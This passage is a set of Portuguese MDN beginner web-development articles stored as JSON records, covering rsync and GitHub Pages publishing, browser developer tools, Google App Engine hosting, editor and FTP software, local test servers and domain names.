vivo!\n\nRsync\n-----\n\nRsync (en-US) é uma ferramenta de sincronização de arquivos local para remoto, que geralmente está disponível na maioria dos sistemas baseados em Unix (como macOS e Linux), mas também existem versões do Windows.\n\nÉ visto como uma ferramenta mais avançada do que o SFTP, porque por padrão é usado na linha de comando. Um comando básico se parece com isto:\n\n\n```bash\nrsync [-options] SOURCE user@x.x.x.x:DESTINATION\n```\n\n\n* `-options` é um travessão seguido por uma ou mais letras, por exemplo -v para mensagens de erros detalhadas e -b para fazer backups. Você pode ver a lista completa em rsync man page (Pesquise por \"Options summary\").\n* `SOURCE` é o caminho para o arquivo ou diretório local do qual você deseja copiar os arquivos.\n* `user@` são as credenciais de usuário no servidor remoto para o qual você deseja copiar os arquivos.\n* `x.x.x.x` é o endereço de IP do servidor remoto.\n* `DESTINATION` é o caminho para o local que você deseja copiar seu diretório ou arquivos no servidor remoto.\n\nVocê precisa obter esses detalhes do seu provedor de hospedagem.\n\nPara mais informações, veja How to Use Rsync to Copy/Sync Files Between Servers.\n\nObviamente, é uma boa ideia usar uma conexão segura, como no FTP. No caso do Rsync, você especifica os detalhes do SSH para fazer a conexão por SSH, usando a opção -e. Por exemplo:\n\n\n```bash\nrsync [-options] -e \"ssh [SSH DETAILS GO HERE]\" SOURCE user@x.x.x.x:DESTINATION\n```\n\n\nVocê pode encontrar mais detalhes sobre o assunto em How To Copy Files With Rsync Over SSH.\n\n### Ferramentas Rsync GUI\n\nFerramentas GUI estão disponíveis para Rsync (para aqueles que não se sentem tão confortáveis com o uso da linha de comando). Acrosync é uma dessas ferramentas e está disponível para Windows e macOS\n\nNovamente, você teria que obter as credenciais de conexão do seu provedor de hospedagem, mas desta forma você teria uma GUI para inseri-lás.\n\nGitHub\n------\n\nGithub permite você publicar páginas por meio do GitHub pages (gh-pages).\n\nCobrimos o básico de como usar isso no Publishing your website artigo do guia Getting started with the Web , então não vamos repetir tudo aqui.\n\nNo entanto, é importante saber que você também pode hospedar um site no GitHub, mas usar um domínio personalizado com ele. Para obter um guia detalhado, consulte Using a custom domain with GitHub Pages .\n\nOutros métodos para enviar arquivos\n-----------------------------------\n\nO protocolo FTP é um método conhecido de publicação de um site, mas não o único. Aqui estão algumas outras possibilidades:\n\n* **Web interfaces(Interfaces Web)**. Uma interface HTML que atua como front-end para um serviço de envio de arquivo remoto. Fornecido pelo seu serviço de hospedagem.\n* **WebDAV (en-US)**. Uma extensão do protocolo HTTP para permitir um gerenciamento de arquivos mais avançado."}
{"title":"O que são as ferramentas de desenvolvimento do navegador - Aprendendo desenvolvimento web","text":"O que são as ferramentas de desenvolvimento do navegador\n========================================================\n\nTodo navegador web moderno inclui um poderoso conjunto de ferramentas para desenvolvedores. Essas ferramentas fazem muitas coisas, desde inspecionar o HTML, CSS e JavaScript recém carregado e quais recursos foram requeridos até mostrar quanto tempo a página precisou para carregar. Este artigo explica como usar as funções básicas das ferramentas para desenvolvedores do seu navegador.\n\n**Nota:** Antes de você executar os exemplos abaixo, abra o Beginner's example site (site de exemplos do iniciante) que nós criamos durante o início da série de artigos da Web ( Getting started with the Web ). Você poderá abrir isso enquanto segue os passos abaixo.\n\nComo abrir o devtools no seu navegador\n--------------------------------------\n\nO devtools está inserido no navegador em uma janela semelhante a esta:\n\n![](/pt-BR/docs/Learn/Common_questions/Tools_and_setup/What_are_browser_developer_tools/screenshot_from_2014-11-25_12-32-57.png)\n\nComo você acessa? Três modos:\n\n* ***Teclado.*** *`Ctrl` + `Shift` + `I`*, exceto:\n    + **Internet Explorer.***`F12`*\n    + **Mac OS X.** *`⌘` + `⌥` + `I`*\n* ***Menu bar.***\n    + **Firefox.** Menu \n     ![](/pt-BR/docs/Learn/Common_questions/Tools_and_setup/What_are_browser_developer_tools/2014-01-10-13-08-08-f52b8c.png) \\*➤ \n     ![](/pt-BR/docs/Learn/Common_questions/Tools_and_setup/What_are_browser_developer_tools/screenshot_from_2014-11-26_14-24-56.png) \\*➤ Web Developer ➤ Toggle Tools,\\_ or \\_Tools ➤\\_ *Web Developer ➤ Toggle Tools*\n    + **Chrome.** *View ➤ Developer ➤ Developer Tools*\n    + **Safari.** *Develop ➤ Show Web Inspector.* Se você não consegue ver o *menu Desenvolvedor* , vá para *Safari ➤ Preferências ➤ Avançado* e confira o *Show Develop menu no menu bar* checkbox.\n    + **Opera**. *Developer ➤ Web Inspector*\n* ***Context menu.*** Pressione-e-segure/botão-direito no item da webpage (Ctrl-click on the Mac), e escolha *Inspect Element no* menu de contexto que aparece. (*An added bonus:* this method straight-away highlights the code of the element you right-clicked.)\n\n![](/pt-BR/docs/Learn/Common_questions/Tools_and_setup/What_are_browser_developer_tools/inspect-element-option.png)\n\nO Inspetor: DOM explorer e editor CSS\n-------------------------------------\n\nO devtools usualmente abre por padrão o inspetor, que se parece com a imagem abaixo. Esta ferramenta permite que você veja o resultado do HTML num site em execução, bem como o CSS aplicado en cada elemento na página. Ele também lhe mostra as mudanças efetuadas no HTML e CSS e os resultados são produzidos imediatamente, ao vivo, na janela do navegador.\n\n![](/pt-BR/docs/Learn/Common_questions/Tools_and_setup/What_are_browser_developer_tools/inspector.png)\n\nSe você não vê o inspector,\n\n* Clique a aba *Inspetor.*\n* No Internet Explorer, Clique a aba *DOM Explorer,* ou pressione\n `Ctrl`\n +\n `1`\n .\n* No Safari, os controles não são apresentados claramente, mas você poderia ver se não tiver selecionado algo para aparecerna janela. Pressione o botão *Style para ver o* CSS.\n### Explore o inspector DOM\n\nPara começar tente pressionar o botão direito do mouse sobre um elemento HTML no inspetor do DOM e olhe para o menu de contexto. As opções do menu variam nos navegadores, mas os mais importantes são os mesmos.\n\n![](/pt-BR/docs/Learn/Common_questions/Tools_and_setup/What_are_browser_developer_tools/dev-tool-context-menu.png)\n\n* **Delete Node** (às vezes Delete *Element*). Exclui o elemento atual.\n* **Edit as HTML** (às vezes *Add attribute*/*Edit text*). Permite alterar o HTML e ver os resultados na hora. Muito útil para depuração e teste.\n* **:hover/:active/:focus**. Força os estados dos elementos a serem alternados, para que você possa ver como seria seu estilo.\n* **Copy/Copy as HTML**. Copia o HTML atualmente selecionado.\n* Alguns navegadores também têm Copy CSS Path e Copy XPath available, para permitir que você copie o seletor CSS ou a expressão XPath que selecionaria o elemento HTML atual.\n\nTente editar alguns dos seus DOM agora. Clique duas vezes em um elemento ou clique com o botão direito do mouse e escolha Editar como HTML no menu de contexto. Você pode fazer alterações que quiser, mas não pode salvar suas alterações.\n\n### Explorando o editor de CSS\n\nPor padrão, o editor CSS exibe as regras CSS aplicadas ao elemento atualmente selecionado:\n\n![](/pt-BR/docs/Learn/Common_questions/Tools_and_setup/What_are_browser_developer_tools/css-viewer-2.png)\n\nEsses recursos são especialmente úteis:\n\n* As regras aplicadas ao elemento atual são mostradas em ordem de mais específicas.\n* Clique nas caixas de seleção ao lado de cada declaração para ver o que aconteceria se você removesse a declaração.\n* Clique na pequena seta ao lado de cada propriedade abreviada para mostrar os equivalentes de longhand da propriedade.\n* Clique no nome ou no valor de uma propriedade para exibir uma caixa de texto, na qual você pode digitar um novo valor para obter uma visualização ao vivo de uma alteração de estilo.\n* Ao lado de cada regra está o nome do arquivo e o número da linha em que a regra está definida. Clicar nessa regra faz com que as ferramentas dev pularem para mostrá-la em sua própria visão, onde geralmente podem ser editadas e salvas.\n* Você também pode clicar na chave de fechamento de qualquer regra para abrir uma caixa de texto em uma nova linha, onde você pode escrever uma declaração completamente nova para a sua página.\n\nVocê notará várias guias clicáveis na parte superior do Visualizador de CSS:\n\n* *Computed*: Isso mostra os estilos calculados para o elemento atualmente selecionado (os valores finais normalizados que o navegador aplica).\n* *Box model*: Isso representa visualmente o modelo de caixa do elemento atual, para que você possa ver rapidamente o preenchimento, a borda e a margem aplicados a ele e o tamanho do conteúdo.\n* *Fonts*: No Firefox, a guia Fontes mostra as fontes aplicadas ao elemento atual.\n### Descubra mais\n\nDescubra mais sobre o Inspetor em diferentes navegadores:\n\n* Inspetor de páginas do Firefox\n* IE DOM Explorer\n* Chrome DOM inspector (Inspetor da Opera funciona da mesma forma)\n* Inspetor do Safari DOM e explorador de estilo\nO depurador JavaScript\n----------------------\n\nO depurador Javascript permite a visualização dos conteúdos das variáveis e a configuração dos pontos de paradas(breakpoints) no código. Breakpoints são marcadores de linha para analisar a execução do código. A identificação previne problemas.\n\n![](/pt-BR/docs/Learn/Common_questions/Tools_and_setup/What_are_browser_developer_tools/firefox_debugger.png)\n\nPara acessar o (debugger)depurador:\n\n**Firefox**: Clique\n ![](/pt-BR/docs/Learn/Common_questions/Tools_and_setup/What_are_browser_developer_tools/2014-01-10-13-08-08-f52b8c.png) ➤ *Web Developer* ➤ *Debugger* ou pelo atalho `Ctrl` + `Shift` + `S` para abrir o Debugger Javascript. Se a ferramenta já estiver vísivel, clique na aba **Debugger**.\n\n**Chrome**: Abra as ferramentas de desenvolvimento e selecione a aba Fontes(**Sources)**. (Opera funciona igualmente).\n\n**Edge e Internet Explorer 11**: Aperte `F12` então, `Ctrl` + `3`, ou se a ferramenta já estiver visível, clique na aba Debugger(depurador).\n\n**Safari**: Abra as ferramentas de desenvolvedor e então selecione a aba Debugger(depurador).\n\n### Explorando o depurador\n\nHá três painéis no Depurador(debugger) no Firefox\n\n#### Lista de Arquivos\n\nO primeiro painel na parte esquerda contém uma lista de arquivos associado com a página que está sendo depurada(debugging). Selecione o arquivo da seleção. Clique no arquivo para selecionar e visualizar os conteúdos no painel central do Debugger.\n\n![](/pt-BR/docs/Learn/Common_questions/Tools_and_setup/What_are_browser_developer_tools/file_list.png)\n\n#### Código fonte\n\nInsira os pontos de parada (breakpoints) onde deseja que a execução pare. Na imagem abaixo, a linha selecionada é a 18 na qual tem um ponto de parada (breakpoint).\n\n![](/pt-BR/docs/Learn/Common_questions/Tools_and_setup/What_are_browser_developer_tools/source_code.png)\n\n#### Veja as expressões e pontos de paradas\n\nÀ direita do painel é exibida uma lista de expressões e pontos de paradas adicionadas.\n\nNa imagem, na primeira seção, **Watch expressions**, mostra a lista de itens e variáveis que foram adicionadas. Expanda a lista para visualizar os valores no vetor.\n\nNa próxima seção, **Pontos de paradas**, lista os pontos de paradas na página. No arquivo example.js, um breakpoint foi adicionado `listItems.push(inputNewItem.value);`\n\nAs duas seções finais aparecem somente quando o código está executando.\n\nA seção **Call stack** (chamada na pilha) mostra que o código foi executado para a linha atual. A função manuseia o clique do mouse e o código está pausado no ponto de parada (breakpoint).\n\nA seção final, **Scopes(escopos)**, mostra os valores visíveis em vários pontos no código. Por exemplo, na imagem abaixo, os objetos disponíveis estão na função addItemClick.\n\n![](/pt-BR/docs/Learn/Common_questions/Tools_and_setup/What_are_browser_developer_tools/watch_items.png)\n\nO console JavaScript\n--------------------\n\nO console JavaScript é uma ferramenta incrivelmente útil para depurar códigos em JavaScript que não está funcionando como o esperado. Ele permite que você execute linhas de JavaScript enquanto a página é carregada no navegador e relata os erros encontrados enquanto o navegador tenta executar o código.\n\nPara acessar o console basta abrir ferramentas de desenvolvimentos e escolher a aba Console.\n\nNo Firefox o atalho é `ctrl` + `shift`+ `k` ou no menu comando: \n ![](/pt-BR/docs/Learn/Common_questions/Tools_and_setup/What_are_browser_developer_tools/2014-01-10-13-08-08-f52b8c.png) *➤ Web Developer* *➤ Web Console,* or *Tools ➤* *Web Developer ➤ Web Console.*\n\nAparecerá uma janela como a seguinte:\n\n![](/pt-BR/docs/Learn/Common_questions/Tools_and_setup/What_are_browser_developer_tools/console.png)\n\nPara ver o que acontece, tente inserir os seguintes trechos de código no console, um por um (e, em seguida, pressione Enter):\n\n\n```js\nalert(\"hello!\");\n```\n\n\n\n```js\ndocument.querySelector(\"html\").style.backgroundColor = \"purple\";\n```\n\n\n\n```js\nconst myWordmark = document.createElement(\"img\");\nmyWordmark.setAttribute(\n  \"src\",\n  \"https://blog.mozilla.org/press/wp-content/themes/OneMozilla/img/mozilla-wordmark.png\",\n);\ndocument.querySelector(\"h1\").appendChild(myWordmark);\n```\n\n\nAgora, tente inserir as seguintes versões incorretas do código e veja o que você obtém.\n\n\n```js\nalert('hello!);\n```\n\n\n\n```js\ndocument.cheeseSelector(\"html\").style.backgroundColor = \"purple\";\n```\n\n\n\n```js\nconst myWordmark = document.createElement(\"img\");\nmyBanana.setAttribute(\n  \"src\",\n  \"https://blog.mozilla.org/press/wp-content/themes/OneMozilla/img/mozilla-wordmark.png\",\n);\ndocument.querySelector(\"h1\").appendChild(myWordmark);\n```\n\n\nVocê começará a ver o tipo de erro que o navegador retorna. Muitas vezes, esses erros são bastante críticos, mas deve ser bem simples descobrir esses problemas!\n\n### Descubra mais\n\nDescubra mais sobre o console JavaScript em diferentes navegadores:\n\n* Firefox Web Console\n* IE JavaScript console\n* Chrome JavaScript Console (O inspetor do Ópera funciona da mesma forma)\n* Safari Console\nVeja também\n-----------\n\n* Debugging HTML\n* Debugging CSS (en-US)"}
{"title":"Como você hospeda seu site no Google App Engine? - Aprendendo desenvolvimento web","text":"Como você hospeda seu site no Google App Engine?\n================================================\n\nGoogle App Engine é uma plataforma poderosa que lhe permite construir e rodar aplicações na infraestrutura do Google — se você precisa criar um aplicativo da web de várias camadas do zero ou hospedar um site estático. Aqui está um guia passo a passo para hospedar seu site no Google App Engine.\n\nCriando um projeto na plataforma do Google Cloud\n------------------------------------------------\n\nPara usar as ferramentas do Google em seu próprio site ou aplicativo, você precisa criar um novo projeto no Google Cloud Platform. Isso requer ter uma conta do Google.\n\n1. Vá para o App Engine dashboard no Google Cloud Platform e apert o botão *Create* (Criar).\n2. Se você não criou um projeto antes, precisará selecionar se deseja receber atualizações por email ou não, concordar com os Termos de Serviço e, em seguida, poderá continuar.\n3. Digite um nome para o projeto, edite a ID do seu projeto e anote-a. Para este tutorial, os seguintes valores são usados\n    * Nome do projeto: *GAE Sample Site*\n    * ID do Projeto: *gaesamplesite*\n4. Clique no botão *Create* para criar o seu projeto.\nCriando uma aplicação\n---------------------\n\nCada projeto do Cloud Platform pode conter um aplicativo do App Engine. Vamos preparar um aplicativo para o nosso projeto.\n\n1. Precisamos de um aplicativo de amostra para publicar. Se você não tiver um para usar, faça o download e descompacte este aplicativo de exemplo.\n2. Dê uma olhada na estrutura da aplicação padrão — A pasta `website` contem o conteúdo do seu website e `app.yaml` é o seu arquivo de configuração da aplicação.\n    * O conteúdo do seu website deve ser posto dentro da pasta `website`, e sua página de destino deve ser denominada `index.html`, mas fora isso ela pode conter qualquer coisa que você desejar.\n    * O arquivo `app.yaml` é um arquivo de configuração que fala ao App Engine como mapear URLs para os seus arquivos estáticos. Você não precisa editá-lo.\nPuplicando sua aplicação\n------------------------\n\nAgora que nós temos o nosso projeto pronto e arquivos padrões de aplicativo colocados juntos, vamos publicar nosso app.\n\n1. Abra o Google Cloud Shell.\n2. Arraste e solte a pasta `sample-app` dentro do painel esquerdo do editor de código.\n3. Rode a seguinte linha de comando dentro para selecionar seu projeto:\n\n```bash\ngcloud config set project gaesamplesite\n```\n\n4. Logo após rode o seguinte comando para ir ao diretório do seu app:\n\n```bash\ncd sample-app\n```\n\n5. Você agora está pronto para armazenar sua aplicação, i.e. fazer o upload para o App Engine:\n\n```bash\ngcloud app deploy\n```\n\n6. Digite um número para escolher a região onde você quer que sua aplicação se localize.\n7. Digite `Y` para confirmar.\n8. Agora navegue no seu navegador para *your-project-id*.appspot.com to para ver seu website online. Por exemplo, para a ID do projeto *gaesamplesite*, vá para *gaesamplesite*.appspot.com.\nVeja também\n-----------\n\nPara aprender mais, veja Google App Engine Documentation."}
{"title":"Que software eu preciso para construir um site? - Aprendendo desenvolvimento web","text":"Que software eu preciso para construir um site?\n===============================================\n\nNeste artigo nós destacamos quais *softwares* você precisa para editar, fazer *upload* ou visualizar um *site*.\n\n| Pré requisitos: | Você deve saber a diferença entre páginas *web*, *sites web*, servidores*web*, e mecanismos de busca. (en-US) |\n| --- | --- |\n| Objetivo: | Aprender quais *softwares* você precisa se quiser editar, fazer *upload*, ou visualizar um *site*. |\n\nSumário\n-------\n\nVocê pode baixar a maioria dos programas que precisa para desenvolvimento *web* gratuitamente. Nós disponibilizamos alguns links neste artigo.\n\nVocê precisa de ferramentas para:\n\n* Criar e editar páginas *web*\n* Fazer *upload* de arquivos para o seu servidor web\n* Visualizar seu *site*\n\nQuase todos os sistemas operacionais incluem por padrão um editor de texto e um navegador de internet que você pode usar para visualizar sites. Como resultado, normalmente você só precisa obter um *software* para transferir arquivos para o seu servidor *web*.\n\nPráticas\n--------\n\nAinda não existem práticas disponíveis. Por favor, considere contribuir (en-US).\n\nAprofundando\n------------\n\n### Criando e editando páginas *web*\n\nPara criar e editar um *site*, você precisa de um editor de texto. Editores de texto criam e modificam arquivos de texto não formatados. Outros formatos, como **RTF (en-US)**, permitem que você adicione formatação, como negrito ou sublinhado. Esses formatos não são adequados para escrever em páginas *web.* Você deve pensar bem em qual editor de texto vai usar, considerando que você trabalhará por bastante tempo nele enquanto estiver construíndo seu *site*.\n\nTodos os sistemas operacionais *desktop* possuem um editor de texto básico. Todos esses editores são diretos em sua função, mas não possuem os recursos especiais para codificar uma página *web*. Se você quiser algo um pouco mais sofisticado, existem muitas ferramentas de terceiros disponíveis. Editores de terceiros possuem funções extras, como coloração de sintaxe, autocompletação, separadores de seção, e busca de código. Aqui está uma pequena lista de editores:\n\n| Sistema Operacional | Editores Padrão | Editores de Terceiros |\n| --- | --- | --- |\n| Windows | * Notepad\n | * Notepad++\n* Visual Studio Code\n* Web Storm\n* Brackets\n* ShiftEdit\n* Sublime Text\n |\n| Mac OS | * TextEdit\n | * TextWrangler\n* Visual Studio Code\n* Brackets\n* ShiftEdit\n* Sublime Text\n |\n| Linux | * Vi (All\n UNIX)\n* GEdit\n (Gnome)\n* Kate\n (KDE)\n* LeafPad\n (Xfce)\n | * Emacs\n* Vim\n* Visual Studio Code\n* Brackets\n* ShiftEdit\n* Sublime Text\n |\n| ChromeOS |  | * ShiftEdit\n |\n\nAqui está uma captura de tela de um editor de texto avançado:\n\n![Screenshot of Notepad++.](/pt-BR/docs/Learn/Common_questions/Tools_and_setup/What_software_do_I_need/notepadplusplus.png)\n\nAqui está uma captura de tela de um editor de texto online:\n\n![Screenshot of ShiftEdit](/pt-BR/docs/Learn/Common_questions/Tools_and_setup/What_software_do_I_need/shiftedit.png)\n\n### Fazendo *upload* de arquivos na *web*\n\nQuando seu *site* está pronto para visualização pública, você precisa fazer *upload* de suas páginas *web* para o seu servidor*web.* Você precisa comprar espaço em um servidor, entre vários provedores (veja Quanto custa fazer algo na *web* (en-US)). Após você decidir qual provedor usar, o provador te enviará um *e-mail* com suas informações de acesso, normalmente em forma de uma SFTP URL, nome de usuário, senha, e outra informação necessária para conectar no servidor. Tenha em mente que (S)FTP está um tanto quanto antiquado, e outros sistemas de *upload* de arquivos estão se tornando populares, como RSync e Git/GitHub.\n\n> \n> \\*\\*Nota:\\*\\*FTP é inerentemente inseguro. Você precisa se certificar que seu provedor permite o uso de uma conexão segura, por exemplo o SFTP ou RSync com SSH.\n> \n> \n> \n\nFazer *upload* de arquivos para um servidor *web* é um importante passo durante a criação de um *site*, por isso cobrimos isso detalhadamente em um artigo separado (en-US). Agora, aqui está uma pequena lista de clientes (S)FTP básicos e gratuítos:\n\n| Sistema Operacional | Cliente FTP |\n| --- | --- |\n| Windows | * WinSCP\n* Moba Xterm\n | * FileZilla (Qualquer\n Sistema Operacional)\n |\n| Linux | * Nautilus/Files\n (Gnome)\n* Dolphin (KDE)\n |\n| Mac OS | * Cyberduck\n |\n| ChromeOS | * ShiftEdit (Qualquer Sistema\n Operacional)\n |  |\n\n### Navegando em *sites*\n\nComo você já sabe, é necessário um navegador *web* para visualizar *sites*. Existem dezenas de opções de navegadores *web* para seu uso pessoal, mas quando você está desenvolvendo um *site*, deve testá-lo ao menos nestes navegadores principais, para garantir que seu *site* funcionará para a maior parte das pessoas:\n\n* Mozilla Firefox\n* Google Chrome\n* Microsoft Internet Explorer\n* Apple Safari\n\nSe você estiver buscando um grupo espécífico (como usuários de uma plataforma ou de algum país), deve testar seu *site* em navegadores adicionais, como Opera, Konqueror, ou UC Browser.\n\nMas testar é complicado, pois alguns navegadores apenas funcionam em determinados sistemas operacionais. O *Apple Safari* funciona no *iOS* e no *Mac OS*, enquanto o *Internet Explorer* funciona apenas no *Windows*. É melhor se valer dos benefícios de serviços como o Browsershots ou Browserstack. O *Browsershots* fornece capturas de tela de como seu *site* é visto por vários navegadores. O *Browserstack* atualmente concede a você total acesso remoto à máquinas virtuais de forma que você pode testar seu site nos ambientes mais comuns. Alternativamente você pode configurar sua própria máquina virtual, mas isso demanda certos conhecimentos específicos. (Se você quiser seguir esse caminho, a *Microsoft* possui algumas ferramentas para desenvoledores, incluíndo uma máquina virtual pronta para o uso, chamada modern.ie.).\n\nPor todos os meios possíveis, execute testes em dispositivos reais, especialmente em dispositivos móveis reais. Simulação de dispositivos móveis é uma nova tecnologia, está em evolução e é menos confiável que a simulação de computadores. Dispositivos móveis custam dinheiro, é claro, portanto sugerimos que se veja a Open Device Lab initiative. Você também pode compartilhar dispositivos se quiser testar em várias plataformas sem gastar muito.\n\nPróximos passos\n---------------\n\n* Alguns desses *software* são gratis, mas não todos eles. Descubra quanto custa fazer algo na *web* (en-US). (en-US)\n* Se você deseja aprender mais sobre editores de texto, leia nosso artigo sobre como escolher e instalar um editor de texto. (en-US)\n* Se você está se perguntando como publicar seu*site* na*web*, veja \"Como fazer *upload* para um servidor*web*\" (en-US)."}
{"title":"Como configurar um servidor de testes local - Aprendendo desenvolvimento web","text":"Como configurar um servidor de testes local\n===========================================\n\nEste artigo explica como configurar um simples servidor de testes local em seu computador e o básico para utiliza-lo.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Primeiro você precisa saber\n como a internet funciona\n e\n o que é um servidor Web.\n  |\n| Objetivo: | Você vai aprender como configurar um servidor de testes local. |\n\nArquivos locais vs. arquivos remotos\n------------------------------------\n\nAo longo da maior parte da área de aprendizagem, nós lhe dissemos apenas para abrir seus exemplos diretamente no navegador — Isto pode ser feito atráves de um duplo clique no arquivo HTML, arrastando e soltando o arquivo na janela do navegador ou escolhendo Arquivo > Abrir\\*...\\* e navegando para o arquivo HTML. Existem muitas maneiras de realizar isso.\n\nSe o caminho do endereço web começa com `file://` seguido pelo caminho para o arquivo no seu disco rígido local, um arquivo local está sendo utilizado. No entanto, se você ver um dos nossos exemplos hospedado no GitHub (ou um exemplo em algum outro servidor remoto), o endereço web começará com `http://` ou `https://`, para mostrar que o arquivo foi recebido via HTTP.\n\nO problema com o teste de arquivos locais\n-----------------------------------------\n\nAlguns exemplos não serão executados se você os abrir como arquivos locais. Isto pode ser devido a uma série de razões, sendo o mais provável:\n\n* **Eles apresentam requisições assíncronas**. Alguns navegadores (incluindo o Chrome) não executarão requisições assíncronas (consulte Buscando dados no servidor) se você simplesmente executar o exemplo de um arquivo local. Isso ocorre devido a restrições de segurança (para mais informações sobre segurança na web, leia Segurança do site).\n* **Eles apresentam uma linguagem do site do servidor**. Linguagens do lado do servidor (como PHP ou Python) requerem um servidor especial para interpretar o código e entregar os resultados.\nExecutando um servidor HTTP local simples\n-----------------------------------------\n\nPara contornar o problema de requisições assíncronas, precisamos testar esses exemplos executando-os através de um servidor web local. Uma das maneiras mais fáceis de fazer isso para nossos propósitos é usar o módulo `SimpleHTTPServer` do Python.\n\nPara fazer isso:\n\n1. Instale o Python. Se você estiver usando Linux ou macOS, ele já deverá estár disponível em seu sistema. Se você é um usuário do Windows, pode obter um instalador na página inicial do Python e seguir as instruções para instalá-lo:\n    * Vá para python.org (em inglês)\n    * Na seção Download, clique no link para Python \"3.xxx\".\n    * Na parte inferior da página, escolha o instalador executável do *Windows x86* e baixe-o.\n    * Quando tiver baixado, execute-o.\n    * Na primeira página do instalador, certifique-se de marcar a caixa de seleção \"Adicionar Python 3.xxx ao PATH\".\n    * Clique em *Instalar* e então, clique em *Fechar* quando a instalação terminar.\n2. Abra seu prompt de comando (Windows)/ terminal (macOS/ Linux). Para verificar se o Python está instalado, digite o seguinte comando:\n\n```bash\npython -V\n```\n\n3. Isso deve retornar um número de versão. Se estiver tudo OK, navegue até o diretório em que seu exemplo está dentro, usando o comando `cd`.\n\n```bash\n# incluir o nome do diretório para entrar, por exemplo\ncd Desktop\n# use dois pontos para voltar um nível de diretório se você precisar\ncd ..\n```\n\n4. Digite o comando para inicializar o servidor nesse diretório:\n\n```bash\n# Se a versão do Python retornada acima for 3.X\npython3 -m http.server\n# No windows, tente \"python\" em vez de \"python3\"\n# Se a versão do Python retornada acima for 2.X\npython -m SimpleHTTPServer\n```\n\n5. Por padrão, isso executará o conteúdo do diretório em um servidor web local, na porta 8000. Você pode ir para esse servidor acessando a URL `localhost:8000` no seu navegador web. Aqui você verá o conteúdo do diretório listado — clique no arquivo HTML que você deseja executar.\n\n**Nota:** Se você já tiver algo em execução na porta 8000, você poderá escolher outra porta executando o comando do servidor seguido por um número de porta alternativo, por exemplo `python3 -m http.server 7800` (Python 3.x) ou `python -m SimpleHTTPServer 7800` (Python 2.x). Você pode acessar seu conteúdo em `localhost:7800`.\n\nExecutando linguagens do lado do servidor localmente\n----------------------------------------------------\n\nOs módulos `SimpleHTTPServer (python 2.0)` e `http.server (python 3.0)` do Python são úteis, mas não sabem como executar código escrito em linguagens como Python, PHP ou JavaScript. Para lidar com isso, você precisará de algo mais — exatamente o que você precisa depende da linguagem do lado do servidor que você está tentando executar. Aqui estão alguns exemplos:\n\n* Para executar o código Python no lado do servidor, você precisará usar um framework web em Python. Você pode descobrir como usar o framework Django lendo Django Web Framework (Python). O Flask (em inglês) também é uma boa alternativa ao Django (um pouco menos pesada). Para executar isso, você precisará instalar o Python/PIP e em seguida, instalar o Flask usando `pip3 install flask`. Neste ponto, você deve ser capaz de executar os exemplos em Python com Flask usando, por exemplo `python3 python-example.py` e em seguida acessar `localhost:5000` no seu navegador.\n* Para executar o código Node.js (JavaScript) no lado do servidor, você precisará usar o nó bruto ou uma estrutura construída sobre ele. Express é uma boa escolha — veja Express Web Framework (Node.js/JavaScript).\n* Para executar o código PHP no lado do servidor, inicie o servidor de desenvolvimento interno do PHP:\n```\n\ncd path/to/your/php/code\nphp -S localhost:8000\n```"}
{"title":"O que é um nome de domínio? - Aprendendo desenvolvimento web","text":"O que é um nome de domínio?\n===========================\n\nNesse artigo examinaremos nomes de domínios: o que são, como são estruturados, e como conseguir um.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Primeiro você precisa conhecer\n **como a Internet funciona**\n e entender\n **what URLs are.** |\n| Objetivos: | \n Aprender o que são **\"nomes de domínios\"**, como funcionam,\n e porquê são importantes.\n  |\n\nSumário\n-------\n\n\"Nomes de Domínios\" são uma parte fundamental da infraestrutura da Internet. Eles provêm um endereço legível para qualquer servidor web disponível na Internet.\n\nQualquer computador conectado na Internet pode ser alcançado através de um endereço IP público, consistido de 32 bits para IPv4 (eles são, normalmente, escritos com quatro grupos de três números entre 0 e 255, separados por pontos (p.e., `173.194.121.32`) ou consistidos de 128 bits para IPv6 (eles são normalmente escritos com oito grupos de 4 números hexadecimais, separados por dois pontos (p.e., `2027:0da8:8b73:0000:0000:8a2e:0370:1337`). Computadores podem manipular esses endereços facilmente, mas as pessoas tem dificuldade em descobrir quem está executando o servidor ou que serviço o site oferece. Endereços de IP são difíceis de lembrar e podem mudar com o tempo. Para resolver todos esses problemas nós usamos endereços legíveis chamados domain names (nomes de domínio).\n\nActive Learning\n---------------\n\n*There is no active learning available yet. Please, consider contributing (en-US).*\n\nDeeper dive\n-----------\n\n### Estrutura dos domain names\n\nUm \"nome de domínio\" tem uma estrutura simples feita de várias partes (pode ser apenas uma parte, duas, três...), separados por pontos e **lidos da direita para a esquerda**:\n\n![Anatomy of the MDN domain name](/pt-BR/docs/Learn/Common_questions/Web_mechanics/What_is_a_domain_name/structure.png)\n\nCada uma dessas partes fornece informações específicas sobre todo o domain name.\n\nTLD (en-US) (Top-Level Domain).\n\nO TLD fornece as informações mais genéricas. TLDs informa aos usuários o propósito geral do serviço por trás do nome de domínio. Os TLDs mais genéricos (.com, .org, .net) não requer web services para atender a critérios rigorosos, mas alguns TLDs impõem políticas mais rigorosas. Por exemplo, TLDs locais tais como .us, .fr, or .sh podem exigir que o serviço seja fornecido em um determinado idioma ou hospedado em um determinado país.\n\nLabel (ou componente)\n\nOs labels são os que seguem o TLD. Um label pode ser qualquer coisa, de uma letra a uma frase completa. O label localizado a direita antes do TLD pode também ser referido como um *Domínio de Nível Secundário* (SLD). Um *nome de domínio* pode ter muitos labels, não é obrigatório nem necessário ter 3 labels para formar um nome de domínio. Por exemplo, www.inf.ed.ac.uk é um nome de domínio correto. Ao controlar a parte \"superior\" de um nome de domínio (p.e. mozilla.org), pode-se criar outros nomes de domínios (às vezes chamados de \"subdomínios\") (p.e. developer.mozilla.org).\n\n### Comprando um nome de domínio\n\n#### Quem possui um nome de domínio?\n\nVocê não pode \"comprar um nome de domínio\". Você paga pelo direito de usar um nome de domínio por um ano ou mais. Você pode renovar seu direito, e sua renovação tem prioridade sobre as aplicações de outras pessoas. Mas você nunca possui o nome de domínio.\n\nAs empresas chamadas registradoras usam registros de nome de domínio para acompanhar as informações técnicas e administrativas que conectam você a seu nome de domínio.\n\n**Nota:** **Nota :** Alguns nomes de domínios podem não ter um registrador encarregado de acompanhar. Por exemplo, todo o nome sob o domínio .fire é gerenciado pela Amazon.\n\n#### Encontrando um nome de domínio disponível\n\nPara descobrir se um determinado domain name está disponível,\n\n* Ir até um site registrador de nome de domínio. A maioria deles fornece um serviço \"whois\" que diz se seu nome de domínio está disponível.\n* Alternativamente, se você usa um sistema com shell embutido nele, digite um comnaod `whois` 